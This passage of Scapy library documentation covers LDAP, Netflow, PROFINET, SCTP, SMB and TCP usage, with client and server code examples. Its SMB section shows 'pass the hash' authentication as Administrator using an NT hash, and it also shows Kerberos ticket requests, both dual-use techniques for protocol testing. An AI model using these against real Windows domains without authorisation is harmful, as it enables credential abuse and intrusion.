Key.string_to_key(EncryptionType.AES256_CTS_HMAC_SHA1_96, b"Password1", b"DOMAIN.LOCALUser1") >>> now_time = datetime.now(timezone.utc).replace(microsecond=0) # Current time with no milliseconds >>> # Encrypt >>> pkt.padataValue.encrypt(key, PA_ENC_TS_ENC(patimestamp=ASN1_GENERALIZED_TIME(now_time))) >>> pkt.show() ###[ PADATA ]### padataType= 2 \padataValue\ |###[ EncryptedData ]### | etype = 18 | kvno = 0x0 | cipher = b"\xc1\x9a\xaf\x89V\x16\x82\xb6\x9a\xcb\x15[\xaf\xed\xd9\xfc\x04\xbf\x18\xd4&\x91\xb3\xcf~tEk,\x98m\xee\xa4O\x05=\x11b\xe05\xca\x92+80\x99\xb1'~\x8d\xdbtz\xa8" ================================================ FILE: doc/scapy/layers/ldap.rst ================================================ LDAP ==== Scapy fully implements the LDAPv2 / LDAPv3 messages, in addition to a very basic :class:`~scapy.layers.ldap.LDAP_Client` class. LDAP client usage ----------------- The general idea when using the :class:`~scapy.layers.ldap.LDAP_Client` class comes down to: - instantiating the class - calling :func:`~scapy.layers.ldap.LDAP_Client.connect` with the IP (this is where to specify whether to use SSL or not) - calling :func:`~scapy.layers.ldap.LDAP_Client.bind` (this is where to specify a SSP if authentication is desired) - calling :func:`~scapy.layers.ldap.LDAP_Client.search` to search data. - calling :func:`~scapy.layers.ldap.LDAP_Client.modify` to edit data attributes. The simplest, unauthenticated demo of the client would be something like: .. code:: pycon >>> client = LDAP_Client() >>> client.connect("192.168.0.100") >>> client.bind(LDAP_BIND_MECHS.NONE) >>> client.sr1(LDAP_SearchRequest()).show() ┃ Connecting to 192.168.0.100 on port 389... └ Connected from ('192.168.0.102', 40228) NONE bind succeeded ! >> LDAP_SearchRequest << LDAP_SearchResponseEntry ###[ LDAP ]### messageID = 0x1 \protocolOp\ |###[ LDAP_SearchResponseEntry ]### | objectName= | \attributes\ | |###[ LDAP_PartialAttribute ]### | | type = | | \values \ | | |###[ LDAP_AttributeValue ]### | | | value = | |###[ LDAP_PartialAttribute ]### | | type = | | \values \ | | |###[ LDAP_AttributeValue ]### | | | value = | |###[ LDAP_PartialAttribute ]### | | type = | | \values \ | | |###[ LDAP_AttributeValue ]### | | | value = [...] Connecting ~~~~~~~~~~ Let's first instantiate the :class:`~scapy.layers.ldap.LDAP_Client`, and connect to a server over the default port (389): .. code:: python client = LDAP_Client() client.connect("192.168.0.100") It is also possible to use TLS when connecting to the server. .. code:: python client = LDAP_Client() client.connect("192.168.0.100", use_ssl=True) In that case, the default port is 636. This can be changed using the ``port`` attribute. .. note:: By default, the server certificate is NOT checked when using this mode, because the server certificate will likely be self-signed. To actually use TLS securely, you should pass a ``sslcontext`` as shown below: .. code:: python import ssl client = LDAP_Client() sslcontext = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) sslcontext.load_verify_locations('path/to/ca.crt') client.connect("192.168.0.100", use_ssl=True, sspcontext=sslcontext) .. note:: If the client is too verbose, you can pass ``verb=False`` when instantiating :class:`~scapy.layers.ldap.LDAP_Client`. Binding ~~~~~~~ When binding, you must specify a *mechanism type*. This type comes from the :class:`~scapy.layers.ldap.LDAP_BIND_MECHS` enumeration, which contains: - :attr:`~scapy.layers.ldap.LDAP_BIND_MECHS.NONE`: an unauthenticated bind. - :attr:`~scapy.layers.ldap.LDAP_BIND_MECHS.SIMPLE`: the simple bind mechanism. Credentials are sent **in plaintext**. - :attr:`~scapy.layers.ldap.LDAP_BIND_MECHS.SICILY`: a `Windows specific authentication mechanism specified in [MS-ADTS] `_ that only supports NTLM. - :attr:`~scapy.layers.ldap.LDAP_BIND_MECHS.SASL_GSSAPI`: the SASL authentication mechanism, as specified by `RFC 4422 `_. - :attr:`~scapy.layers.ldap.LDAP_BIND_MECHS.SASL_GSS_SPNEGO`: the SPNEGO authentication mechanism, another `Windows specific authentication mechanism specified in [MS-SPNG] `_. Depending on the server that you are talking to, some of those mechanisms might not be available. This is most notably the case of :attr:`~scapy.layers.ldap.LDAP_BIND_MECHS.SICILY` and :attr:`~scapy.layers.ldap.LDAP_BIND_MECHS.SASL_GSS_SPNEGO` which are mostly Windows-specific. We'll now go over "how to bind" using each one of those mechanisms: **NONE (Unauthenticated):** .. code:: python client.bind(LDAP_BIND_MECHS.NONE) **SIMPLE:** .. code:: python client.bind( LDAP_BIND_MECHS.SIMPLE, simple_username="Administrator", simple_password="Password1!", ) **SICILY - NTLM:** .. code:: python ssp = NTLMSSP(UPN="Administrator", PASSWORD="Password1!") client.bind( LDAP_BIND_MECHS.SICILY, ssp=ssp, ) **SASL_GSSAPI - Kerberos:** .. code:: python ssp = KerberosSSP(UPN="Administrator@domain.local", PASSWORD="Password1!", SPN="ldap/dc1.domain.local") client.bind( LDAP_BIND_MECHS.SASL_GSSAPI, ssp=ssp, ) **SASL_GSS_SPNEGO - NTLM / Kerberos:** .. code:: python ssp = SPNEGOSSP([ NTLMSSP(UPN="Administrator", PASSWORD="Password1!"), KerberosSSP(UPN="Administrator@domain.local", PASSWORD="Password1!", SPN="ldap/dc1.domain.local"), ]) client.bind( LDAP_BIND_MECHS.SASL_GSS_SPNEGO, ssp=ssp, ) Signing / Encryption ~~~~~~~~~~~~~~~~~~~~ Additionally, it is possible to enable signing or encryption of the LDAP data, when LDAPS is NOT in use. This is done by setting ``sign`` and ``encrypt`` parameters of the :func:`~scapy.layers.ldap.LDAP_Client.bind` function. There are however a few caveats to note: - It's not possible to use those flags in ``NONE`` (duh) or ``SIMPLE`` mode. - When using the :class:`~scapy.layers.ntlm.NTLMSSP` (in :attr:`~scapy.layers.ldap.LDAP_BIND_MECHS.SICILY` or :attr:`~scapy.layers.ldap.LDAP_BIND_MECHS.SASL_GSS_SPNEGO` mode), it isn't possible to use ``sign`` without ``encrypt``, because Windows doesn't implement it. Querying ~~~~~~~~ Once the LDAP connection is bound, it becomes possible to perform requests. For instance, to query all the values of the root DSE: .. code:: python client.sr1(LDAP_SearchRequest()).show() We can also use the :func:`~scapy.layers.ldap.LDAP_Client.search` passing a base DN, a filter (as specified by RFC2254) and a scope.\\ The scope can be one of the following: - 0=baseObject: only the base DN's attributes are queried - 1=singleLevel: the base DN's children are queried - 2=wholeSubtree: the entire subtree under the base DN is included For instance, this corresponds to querying the DN ``CN=Users,DC=domain,DC=local`` with the filter ``(objectCategory=person)`` and asking for the attributes ``objectClass,name,description,canonicalName``: .. code:: python resp = client.search( "CN=Users,DC=domain,DC=local", "(objectCategory=person)", ["objectClass", "name", "description", "canonicalName"], scope=1, # children ) resp.show() To understand exactly what's going on, note that the previous call is exactly identical to the following: .. code:: python resp = client.sr1( LDAP_SearchRequest( filter=LDAP_Filter( filter=LDAP_FilterEqual( attributeType=ASN1_STRING(b'objectCategory'), attributeValue=ASN1_STRING(b'person') ) ), attributes=[ LDAP_SearchRequestAttribute(type=ASN1_STRING(b'objectClass')), LDAP_SearchRequestAttribute(type=ASN1_STRING(b'name')), LDAP_SearchRequestAttribute(type=ASN1_STRING(b'description')), LDAP_SearchRequestAttribute(type=ASN1_STRING(b'canonicalName')) ], baseObject=ASN1_STRING(b'CN=Users,DC=domain,DC=local'), scope=ASN1_ENUMERATED(1), derefAliases=ASN1_ENUMERATED(0), sizeLimit=ASN1_INTEGER(1000), timeLimit=ASN1_INTEGER(60), attrsOnly=ASN1_BOOLEAN(0) ) ) .. warning:: Our RFC2254 parser currently does not support 'Extensible Match'. Modifying attributes ~~~~~~~~~~~~~~~~~~~~ It's also possible to change some attributes on an object. The following issues a ``Modify Request`` that replaces the ``displayName`` attribute and adds a ``servicePrincipalName``: .. code:: python client.modify( "CN=User1,CN=Users,DC=domain,DC=local", changes=[ LDAP_ModifyRequestChange( operation="replace", modification=LDAP_PartialAttribute( type="displayName", values=[ LDAP_AttributeValue(value="Lord User the 1st") ] ) ), LDAP_ModifyRequestChange( operation="add", modification=LDAP_PartialAttribute( type="servicePrincipalName", values=[ LDAP_AttributeValue(value="http/lorduser") ] ) ) ] ) LDAPHero -------- LDAPHero (LDAPéro in French) is a graphical wrapper around Scapy's :class:`~scapy.layers.ldap.LDAP_Client`, that works on all plateforms. It can be used with: .. code:: python >>> load_module("ticketer") >>> LDAPHero() It's possible to pass it a SSP, which will be used when clicking the "Bind" button: .. code:: python >>> LDAPHero(mech=LDAP_BIND_MECHS.SICILY, ... ssp=NTLMSSP(UPN="Administrator@domain.local", PASSWORD="test")) You can use the same examples as in `Binding <#binding>`_. It's also possible to pass some connection parameters, for instance to connect to a specific host, you could use: .. code:: python >>> LDAPHero(host="192.168.0.100") ================================================ FILE: doc/scapy/layers/netflow.rst ================================================ Netflow ======= Netflow packets mainly comes in 3 versions:: - ``Netflow V5`` - ``Netflow V7`` - ``Netflow V9 / V10 (IPfix)`` While the two first versions are pretty straightforward, building or dissecting Netflow v9/v10 isn't easy. Netflow V1 ---------- .. code:: netflow = NetflowHeader()/NetflowHeaderV1()/NetflowRecordV1() pkt = Ether()/IP()/UDP()/netflow Netflow V5 ---------- .. code:: netflow = NetflowHeader()/NetflowHeaderV5(count=1)/NetflowRecordV5(dst="192.168.0.1") pkt = Ether()/IP()/UDP()/netflow NetflowV9 / IPfix ----------------- Netflow v9 and IPfix use a template based system. This means that records that are sent over the wire require a "Template" to be sent previously in a Flowset packet. This template is required to understand thr format of the record, therefore needs to be provided when building or dissecting those. Fortunately, Scapy knows how to detect the templates and will provide dissecting methods that take care of that. .. note:: The following examples apply to Netflow V9. When using IPfix, use the exact same format but replace the class names with their V10 counterpart (if they exist ! Scapy shares some classes between the two). Have a look at :mod:`~scapy.layers.netflow` - **Build** .. code:: header = Ether()/IP()/UDP() netflow_header = NetflowHeader()/NetflowHeaderV9() # Let's first build the template. Those need an ID > 255. # The (full) list of possible fieldType is available in the # NetflowV910TemplateFieldTypes list. You can also use the int value. flowset = NetflowFlowsetV9( templates=[NetflowTemplateV9( template_fields=[ NetflowTemplateFieldV9(fieldType="IN_BYTES", fieldLength=1), NetflowTemplateFieldV9(fieldType="IN_PKTS", fieldLength=4), NetflowTemplateFieldV9(fieldType="PROTOCOL"), NetflowTemplateFieldV9(fieldType="IPV4_SRC_ADDR"), NetflowTemplateFieldV9(fieldType="IPV4_DST_ADDR"), ], templateID=256, fieldCount=5) ], flowSetID=0 ) # Let's generate the record class. This will be a Packet class # In case you provided several templates in ghe flowset, you will need # to pass the template ID as second parameter recordClass = GetNetflowRecordV9(flowset) # Now lets build the data records dataFS = NetflowDataflowsetV9( templateID=256, records=[ # Some random data. recordClass( IN_BYTES=b"\x12", IN_PKTS=b"\0\0\0\0", PROTOCOL=6, IPV4_SRC_ADDR="192.168.0.10", IPV4_DST_ADDR="192.168.0.11" ), recordClass( IN_BYTES=b"\x0c", IN_PKTS=b"\1\1\1\1", PROTOCOL=3, IPV4_SRC_ADDR="172.0.0.10", IPV4_DST_ADDR="172.0.0.11" ) ], ) pkt = header / netflow_header / flowset / dataFS - **Dissection** Scapy provides two methods to parse NetflowV9/IPFix: - :class:`~scapy.layers.netflow.NetflowSession`: to use with ``sniff(session=NetflowV9Session, [...])`` - :func:`~scapy.layers.netflow.netflowv9_defragment`: to use on a packet or list of packets. With the previous example:: pkt = Ether(raw(pkt)) # will loose the defragmentation pkt = netflowv9_defragment(pkt)[0] ================================================ FILE: doc/scapy/layers/pnio.rst ================================================ *************** PROFINET IO RTC *************** PROFINET IO is an industrial protocol composed of different layers such as the Real-Time Cyclic (RTC) layer, used to exchange data. However, this RTC layer is stateful and depends on a configuration sent through another layer: the DCE/RPC endpoint of PROFINET. This configuration defines where each exchanged piece of data must be located in the RTC ``data`` buffer, as well as the length of this same buffer. Building such packet is then a bit more complicated than other protocols. RTC data packet --------------- The first thing to do when building the RTC ``data`` buffer is to instantiate each Scapy packet which represents a piece of data. Some of the basic packets are: * ``ProfinetIO``: the building block for PROFINET packets. Can be layered on top of Ether() or UDP() * ``PROFIsafe``: the PROFIsafe profile to perform functional safety * ``PNIORealTime_IOxS``: either an IO Consumer or Provider Status byte Instantiate the packets as follows:: >>> load_contrib('pnio') >>> raw(ProfinetIO()/b'AAA') b'\x00\x00AAA' >>> raw(PROFIsafe.build_PROFIsafe_class(PROFIsafeControl, 4)(data = b'AAA', control=0x20, crc=0x424242)) b'AAA\x00 BBB' >>> hexdump(PNIORealTime_IOxS()) 0000 80 . RTC packet ---------- Now that a data packet can be instantiated, a whole RTC packet may be built. ``PNIORealTimeCyclicPDU`` contains a field ``data`` which is a list of all data packets to add in the buffer, however, without the configuration, Scapy won't be able to dissect it:: >>> load_contrib('pnio') >>> p=PNIORealTimeCyclicPDU(cycleCounter=1024, data=[ ... PNIORealTime_IOxS(), ... PNIORealTimeCyclicPDU.build_fixed_len_raw_type(4)(data = b'AAA') / PNIORealTime_IOxS(), ... PROFIsafe.build_PROFIsafe_class(PROFIsafeControl, 4)(data = b'AAA', control=0x20, crc=0x424242)/PNIORealTime_IOxS(), ... ]) >>> p.show() ###[ PROFINET Real-Time ]### \data \ |###[ PNIO RTC IOxS ]### | dataState = good | instance = subslot | reserved = 0x0 | extension = 0 |###[ FixedLenRawPacketLen4 ]### | data = 'AAA' |###[ PNIO RTC IOxS ]### | dataState = good | instance = subslot | reserved = 0x0 | extension = 0 |###[ PROFISafe Control Message with F_CRC_Seed=0 ]### | dat( = 'AAA' | control = Toggle_h | crc = 0x424242 |###[ PNIO RTC IOxS ]### | dataState = good | instance = subslot | reserved = 0x0 | extension = 0 padding = '' cycleCounter= 1024 dataStatus= primary+validData+run+no_problem transferStatus= 0 For Scapy to be able to dissect it correctly, one must also configure the layer for it to know the location of each data in the buffer. This configuration is saved in the dictionary ``conf.contribs["PNIO_RTC"]`` which can be updated with the ``conf.contribs["PNIO_RTC"].update`` method. Each item in the dictionary uses the tuple ``(Ether.src, Ether.dst, ProfinetIO.frameID)`` as key, to be able to separate the configuration of each communication. Each value is then a list of classes which describes a data packet. If we continue the previous example, here is the configuration to set:: >>> e=Ether(src='00:01:02:03:04:05', dst='06:07:08:09:0a:0b') / ProfinetIO(frameID="RT_CLASS_1") / p >>> e.show2() ###[ Ethernet ]### dst = 06:07:08:09:0a:0b src = 00:01:02:03:04:05 type = 0x8892 ###[ ProfinetIO ]### frameID = RT_CLASS_1 (8000) ###[ PROFINET Real-Time ]### \data \ |###[ PROFINET IO Real Time Cyclic Default Raw Data ]### | data = '\\x80AAA\x00\\x80AAA\x00 BBB\\x80' padding = '' cycleCounter= 1024 dataStatus= primary+validData+run+no_problem transferStatus= 0 >>> conf.contribs["PNIO_RTC"].update({('00:01:02:03:04:05', '06:07:08:09:0a:0b', 0x8000): [ ... PNIORealTime_IOxS, ... PNIORealTimeCyclicPDU.build_fixed_len_raw_type(4), ... PNIORealTime_IOxS, ... PROFIsafe.build_PROFIsafe_class(PROFIsafeControl, 4), ... PNIORealTime_IOxS, ... ]}) >>> e.show2() ###[ Ethernet ]### dst = 06:07:08:09:0a:0b src = 00:01:02:03:04:05 type = 0x8892 ###[ ProfinetIO ]### frameID = RT_CLASS_1 (8000) ###[ PROFINET Real-Time ]### \data \ |###[ PNIO RTC IOxS ]### | dataState = good | instance = subslot | reserved = 0x0 | extension = 0 |###[ FixedLenRawPacketLen4 ]### | data = 'AAA' |###[ PNIO RTC IOxS ]### | dataState = good | instance = subslot | reserved = 0x0 | extension = 0 |###[ PROFISafe Control Message with F_CRC_Seed=0 ]### | data = 'AAA' | control = Toggle_h | crc = 0x424242 |###[ PNIO RTC IOxS ]### | dataState = good | instance = subslot | reserved = 0x0 | extension = 0 padding = '' cycleCounter= 1024 dataStatus= primary+validData+run+no_problem transferStatus= 0 If no data packets are configured for a given offset, it defaults to a ``PNIORealTimeCyclicDefaultRawData``. ================================================ FILE: doc/scapy/layers/sctp.rst ================================================ **** SCTP **** SCTP is a relatively young transport-layer protocol combining both TCP and UDP characteristics. The `RFC 3286 `_ introduces it and its description lays in the `RFC 4960 `_. It is not broadly used, its mainly present in core networks operated by telecommunication companies, to support VoIP for instance. Enabling dynamic addressing reconfiguration and chunk authentication capabilities --------------------------------------------------------------------------------- If you are trying to discuss with SCTP servers, you may be interested in capabilities added in `RFC 4895 `_ which describe how to authenticated some SCTP chunks, and/or `RFC 5061 `_ to dynamically reconfigure the IP address of a SCTP association. These capabilities are not always enabled by default on Linux. Scapy does not need any modification on its end, but SCTP servers may need specific activation. To enable the RFC 4895 about authenticating chunks:: $ sudo echo 1 > /proc/sys/net/sctp/auth_enable To enable the RFC 5061 about dynamic address reconfiguration:: $ sudo echo 1 > /proc/sys/net/sctp/addip_enable You may also want to use the dynamic address reconfiguration without necessarily enabling the chunk authentication:: $ sudo echo 1 > /proc/sys/net/sctp/addip_noauth_enable ================================================ FILE: doc/scapy/layers/smb.rst ================================================ SMB === Scapy provides pretty good support for SMB 2/3 and very partial support of SMB1. You can use the :class:`~scapy.layers.smb2.SMB2_Header` to dissect or build SMB2/3, or :class:`~scapy.layers.smb.SMB_Header` for SMB1. .. _client: SMB 2/3 client -------------- Scapy provides a small SMB 2/3 client Automaton: :class:`~scapy.layers.smbclient.SMB_Client` .. image:: ../graphics/smb/smb_client.png :align: center Scapy's SMB client stack is as follows: - the :class:`~scapy.layers.smbclient.SMB_Client` Automaton handles the logic to bind, negotiate and establish the SMB session (eventually using Security Providers). - This Automaton is wrapped into a :class:`~scapy.layers.smbclient.SMB_SOCKET` object which provides access to basic SMB commands such as open, read, write, close, etc. - This socket is wrapped into a :class:`~scapy.layers.smbclient.smbclient` class which provides a high-level SMB client, with functions such as ``ls``, ``cd``, ``get``, ``put``, etc. You can access any of the 3 layers depending on how low-level you want to get. We'll skip over the lowest one in this documentation, as it not really usable as an API, but note that this is where to look if you want to change SMB negotiation or session setup .(people wanting to use this are welcomed to have a look at the ``scapy/layers/smbclient.py`` code). High-Level :class:`~scapy.layers.smbclient.smbclient` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From the CLI ____________ Let's start by using :class:`~scapy.layers.smbclient.smbclient` from the Scapy CLI: .. code:: python >>> smbclient("server1.domain.local", "Administrator@domain.local") Password: ************ SMB authentication successful using SPNEGOSSP[KerberosSSP] ! smb: \> shares ShareName ShareType Comment ADMIN$ DISKTREE Remote Admin C$ DISKTREE Default share IPC$ IPC Remote IPC NETLOGON DISKTREE Logon server share SYSVOL DISKTREE Logon server share Users DISKTREE common DISKTREE smb: \> use c$ smb: \> cd Program Files\Microsoft\ smb: \Program Files\Microsoft> ls FileName FileAttributes EndOfFile LastWriteTime . DIRECTORY 0B Fri, 24 Feb 2023 17:00:27 (1677254427) .. DIRECTORY 0B Fri, 24 Feb 2023 17:00:27 (1677254427) EdgeUpdater DIRECTORY 0B Fri, 24 Feb 2023 17:00:27 (1677254427) .. note:: You can use ``help`` or ``?`` in the CLI to get the list of available commands. As you can see, the previous example used Kerberos to authenticate. By default, the :class:`~scapy.layers.smbclient.smbclient` class will use a :class:`~scapy.layers.spnego.SPNEGOSSP` and provide ask for both ``NTLM`` and ``Kerberos``. but it is possible to have a greater control over this by providing your own ``ssp`` attribute. **smbclient using a** :class:`~scapy.layers.ntlm.NTLMSSP` .. code:: python >>> smbclient("server1.domain.local", ssp=NTLMSSP(UPN="Administrator", PASSWORD="password")) You might be wondering if you can pass the ``HashNT`` of the password of the user 'Administrator' directly. The answer is yes, you can 'pass the hash' directly: .. code:: python >>> smbclient("server1.domain.local", ssp=NTLMSSP(UPN="Administrator", HASHNT=bytes.fromhex("8846f7eaee8fb117ad06bdd830b7586c"))) **smbclient using a** :class:`~scapy.layers.ntlm.KerberosSSP` .. code:: python >>> smbclient("server1.domain.local", ssp=KerberosSSP(UPN="Administrator@domain.local", PASSWORD="password")) **smbclient using a** :class:`~scapy.layers.ntlm.KerberosSSP` **created by** `Ticketer++ `_: .. code:: python >>> load_module("ticketer") >>> t = Ticketer() >>> t.request_tgt("Administrator@DOMAIN.LOCAL") Enter password: ********** >>> t.request_st(0, "host/server1.domain.local") >>> smbclient("server1.domain.local", ssp=t.ssp(1)) SMB authentication successful using KerberosSSP ! If you pay very close attention, you'll notice that in this case we aren't using the :class:`~scapy.layers.spnego.SPNEGOSSP` wrapper. You could have used ``ssp=SPNEGOSSP([t.ssp(1)])``. **smbclient forcing encryption**: .. code:: python >>> smbclient("server1.domain.local", "admin", REQUIRE_ENCRYPTION=True) .. note:: It is also possible to start the :class:`~scapy.layers.smbclient.smbclient` directly from the OS, using the following:: $ python3 -m scapy.layers.smbclient server1.domain.local Administrator@DOMAIN.LOCAL Use ``python3 -m scapy.layers.smbclient -h`` to see the list of available options. Programmatically ________________ A cool feature of the :class:`~scapy.layers.smbclient.smbclient` is that all commands that you can call from the CLI, you can also call programmatically. Let's re-do the initial example programmatically, by turning off the CLI mode. Obviously prompting for passwords will not work so make sure the client has everything it needs for Session Setup. .. code:: python >>> from scapy.layers.smbclient import smbclient >>> cli = smbclient("server1.domain.local", "Administrator@domain.local", password="password", cli=False) >>> shares = cli.shares() >>> shares [('ADMIN$', 'DISKTREE', 'Remote Admin'), ('C$', 'DISKTREE', 'Default share'), ('common', 'DISKTREE', ''), ('IPC$', 'IPC', 'Remote IPC'), ('NETLOGON', 'DISKTREE', 'Logon server share '), ('SYSVOL', 'DISKTREE', 'Logon server share '), ('Users', 'DISKTREE', '')] >>> cli.use('c$') >>> cli.cd(r'Program Files\Microsoft') >>> names = [x[0] for x in cli.ls()] >>> names ['.', '..', 'EdgeUpdater'] Mid-Level :class:`~scapy.layers.smbclient.SMB_SOCKET` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ If you know what you're doing, then the High-Level smbclient might not be enough for you. You can go a level lower using the :class:`~scapy.layers.smbclient.SMB_SOCKET`. You can instantiate the object directly or via the :meth:`~scapy.layers.smbclient.SMB_SOCKET.from_tcpsock` helper. Let's write a script that connects to a share and list the files in the root folder. .. code:: python import socket from scapy.layers.smbclient import SMB_SOCKET from scapy.layers.spnego import SPNEGOSSP from scapy.layers.ntlm import NTLMSSP, MD4le from scapy.layers.kerberos import KerberosSSP # Build SSP first. In SMB_SOCKET you have to do this yourself password = "password" ssp = SPNEGOSSP([ NTLMSSP(UPN="Administrator", PASSWORD=password), KerberosSSP( UPN="Administrator@domain.local", PASSWORD=password, ) ]) # Connect to the server sock = socket.socket() sock.connect(("server1.domain.local", 445)) smbsock = SMB_SOCKET.from_tcpsock(sock, ssp=ssp) # Tree connect tid = smbsock.tree_connect("C$") smbsock.set_TID(tid) # Open root folder and query files at root fileid = smbsock.create_request('', type='folder') files = smbsock.query_directory(fileid) names = [x[0] for x in files] # Close the handle smbsock.close_request(fileid) # Close the socket smbsock.close() This has a lot more overhead so make sure you need it. Something hybrid that might be easier to use, is to access the underlying :class:`~scapy.layers.smbclient.SMB_SOCKET` in a higher-level :class:`~scapy.layers.smbclient.smbclient`: .. code:: python >>> from scapy.layers.smbclient import smbclient >>> cli = smbclient("server1.domain.local", "Administrator@domain.local", password="password", cli=False) >>> cli.use('c$') >>> smbsock = cli.smbsock >>> # Open root folder and query files at root >>> fileid = smbsock.create_request('', type='folder') >>> files = smbsock.query_directory(fileid) >>> names = [x[0] for x in files] Low-Level :class:`~scapy.layers.smbclient.SMB_Client` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Finally, it's also possible to call the underlying :attr:`~scapy.layers.smbclient.SMB_Client.smblink` socket directly. Again, you can instantiate the object directly or via the :meth:`~scapy.layers.smbclient.SMB_Client.from_tcpsock` helper. .. code:: python >>> import socket >>> from scapy.layers.smbclient import SMB_Client >>> sock = socket.socket() >>> sock.connect(("192.168.0.100", 445)) >>> lowsmbsock = SMB_Client.from_tcpsock(sock, ssp=NTLMSSP(UPN="Administrator", PASSWORD="password")) >>> resp = cli.sock.sr1(SMB2_Tree_Connect_Request(Path=r"\\server1\c$")) It's also accessible as the ``ins`` attribute of a ``SMB_SOCKET``, or the ``sock`` attribute of a ``smbclient``. .. code:: python >>> from scapy.layers.smbclient import smbclient >>> cli = smbclient("server1.domain.local", "Administrator@domain.local", password="password", cli=False) >>> lowsmbsock = cli.sock >>> resp = cli.sock.sr1(SMB2_Tree_Connect_Request(Path=r"\\server1\c$")) .. _server: SMB 2/3 server -------------- Scapy provides a SMB 2/3 server Automaton: :class:`~scapy.layers.smbserver.SMB_Server` .. image:: ../graphics/smb/smb_server.png :align: center Once again, Scapy provides high level :class:`~scapy.layers.smbserver.smbserver` class that allows to spawn a SMB server. High-Level :class:`~scapy.layers.smbserver.smbserver` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The :class:`~scapy.layers.smbserver.smbserver` class allows to spawn a SMB server serving a selection of shares. A share is identified by a ``name`` and a ``path`` (+ an optional description called ``remark``). **Start a SMB server with NTLM auth for 2 users:** .. code:: python smbserver( shares=[SMBShare(name="Scapy", path="/tmp")], iface="eth0", ssp=NTLMSSP( IDENTITIES={ "User1": MD4le("Password1"), "Administrator": MD4le("Password2"), }, ) ) **Start a SMB server with NTLM auth in an AD, using machine credentials:** .. note:: This requires an active account with ``WORKSTATION_TRUST_ACCOUNT`` in its ``userAccountControl``. (otherwise you might get ``STATUS_NO_TRUST_SAM_ACCOUNT``) .. code:: python smbserver(ssp=NTLMSSP_DOMAIN(UPN="Computer1@domain.local", HASHNT=bytes.fromhex("7facdc498ed1680c4fd1448319a8c04f"))) **Start a SMB server with Kerberos auth:** .. code:: python smbserver( shares=[SMBShare(name="Scapy", path="/tmp")], iface="eth0", ssp=KerberosSSP( KEY=Key( EncryptionType.AES256_CTS_HMAC_SHA1_96, key=bytes.fromhex("0000000000000000000000000000000000000000000000000000000000000000"), ), SPN="cifs/server.domain.local", ), ) **You can of course combine a NTLM and Kerberos server and provide them both over a** :class:`~scapy.layers.spnego.SPNEGOSSP`: .. code:: python smbserver( shares=[SMBShare(name="Scapy", path="/tmp")], iface="eth0", ssp=SPNEGOSSP( [ KerberosSSP( KEY=Key( EncryptionType.AES256_CTS_HMAC_SHA1_96, key=bytes.fromhex("0000000000000000000000000000000000000000000000000000000000000000"), ), SPN="cifs/server.domain.local", ), NTLMSSP( IDENTITIES={ "User1": MD4le("Password1"), "Administrator": MD4le("Password2"), }, ), ] ), ) .. note:: By default, Scapy's SMB server is read-only. You can set ``readonly`` to ``False`` to disable it, as follows. **Start a SMB server with NTLM in Read-Write mode** .. code:: python smbserver( shares=[SMBShare(name="Scapy", path="/tmp")], iface="eth0", ssp=NTLMSSP( IDENTITIES={ "User1": MD4le("Password1"), "Administrator": MD4le("Password2"), }, ), # Enable Read-Write readonly=False, ) **Start a SMB server requiring encryption (two methods)**: .. code:: python # Method 1: require encryption globally (available in SMB 3.0.0+) >>> smbserver(..., REQUIRE_ENCRYPTION=True) # Method 2: for a specific share (only available in SMB 3.1.1+) >>> smbserver(..., shares=[SMBShare(name="Scapy", path="/tmp", encryptdata=True)]) .. note:: It is possible to start the :class:`~scapy.layers.smbserver.smbserver` (albeit only in unauthenticated mode) directly from the OS, using the following:: $ python3 -m scapy.layers.smbserver --port 12345 Use ``python3 -m scapy.layers.smbserver -h`` to see the list of available options. Low-Level :class:`~scapy.layers.smbserver.SMB_Server` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ To change the functionality of the :class:`~scapy.layers.smbserver.SMB_Server`, you shall extend the server class (which is an automaton) and provide additional custom conditions (or overwrite existing ones). .. code:: python from scapy.layers.smbserver import SMB_Server class MyCustomSMBServer(SMB_Server): """ Ridiculous demo SMB Server We overwrite the handler of "SMB Echo Request" to do some crazy stuff """ @ATMT.action(SMB_Server.receive_echo_request) def send_echo_reply(self, pkt): super(MyCustomSMBServer, self).send_echo_reply(pkt) # send echo response print("WHAT? An ECHO REQUEST? You MUUUSST be a linux user then, since Windows NEEEVER sends those !") ================================================ FILE: doc/scapy/layers/tcp.rst ================================================ TCP === Scapy is based on a stimulus/response model. This model does not work well for a TCP stack. On the other hand, quite often, the TCP stream is used as a tube to exchange messages that are stimulus/response-based. Also, Scapy provides a way to describe network automata that can be used to create a TCP stack automaton. There are many ways to use TCP with Scapy Using the kernel's TCP stack ---------------------------- Scapy provides a ``StreamSocket`` object that can transform a simple socket into a Scapy supersocket suitable for use with ``sr()`` command family. .. code:: >>> s=socket.socket() >>> s.connect(("www.test.com",80)) >>> ss=StreamSocket(s,Raw) >>> ss.sr1(Raw("GET /\r\n")) Begin emission: Finished to send 1 packets. * Received 1 packets, got 1 answers, remaining 0 packets >> s = TCP_client.tcplink(Raw, "www.test.com", 80) >>> s.send("GET /\r\n") 7 >>> s.recv() >> t = TunTapInterface('tun0') You'll then need to bring the interface up, and assign an IP address in another terminal. Because TUN is a layer 3 connection, it acts as a point-to-point link. We'll assign these parameters: * local address (for your machine): 192.0.2.1 * remote address (for Scapy): 192.0.2.2 On Linux, you would use: .. code-block:: shell sudo ip link set tun0 up sudo ip addr add 192.0.2.1 peer 192.0.2.2 dev tun0 On BSD and macOS, use: .. code-block:: shell sudo ifconfig tun0 up sudo ifconfig tun0 192.0.2.1 192.0.2.2 Now, nothing will happen when you ping those addresses -- you'll need to make Scapy respond to that traffic. :py:class:`TunTapInterface` works the same as a :py:class:`SuperSocket`, so lets setup an :py:class:`AnsweringMachine` to respond to :py:class:`ICMP` ``echo-request``: .. code-block:: pycon3 >>> am = t.am(ICMPEcho_am) >>> am() Now, you can ping Scapy in another terminal: .. code-block: console: $ ping -c 3 192.0.2.2 PING 192.0.2.2 (192.0.2.2): 56 data bytes 64 bytes from 192.0.2.2: icmp_seq=0 ttl=64 time=2.414 